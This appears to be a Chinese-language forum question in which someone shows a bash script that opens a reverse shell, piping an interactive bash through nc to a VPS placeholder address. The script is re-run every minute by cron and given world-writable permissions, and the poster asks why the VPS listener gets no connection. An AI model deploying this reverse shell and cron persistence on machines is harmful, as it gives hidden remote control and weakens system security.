我已经在自己的个人机器上建立了连接,使用以下代码:
#!/bin/bash
n=$(ps aux | grep -o [1]234)
if [[ $n = "" ]]; then
mkfifo f
nc VPS_IP_ADDRESS_HERE 1234 < f | /bin/bash -i > f 2>&1
fi
我想从不同网络上的另一台机器连接到它,所以我买了一个 VPS!我VPS_IP_ADDRESS_HERE
用我的 VPS 的 IP 地址替换了文本。然后我确保使用 授予脚本权限chmod 777 /etc/whatever
。我还做了一个 crontab 来确保 bash 脚本每分钟运行一次,并将其设置为以下代码:
* * * * * /etc/whatever
现在在另一台机器上,我通过 SSH 进入 VPS 并执行了命令nc -l -p 1234
,但没有发生任何连接!请帮忙!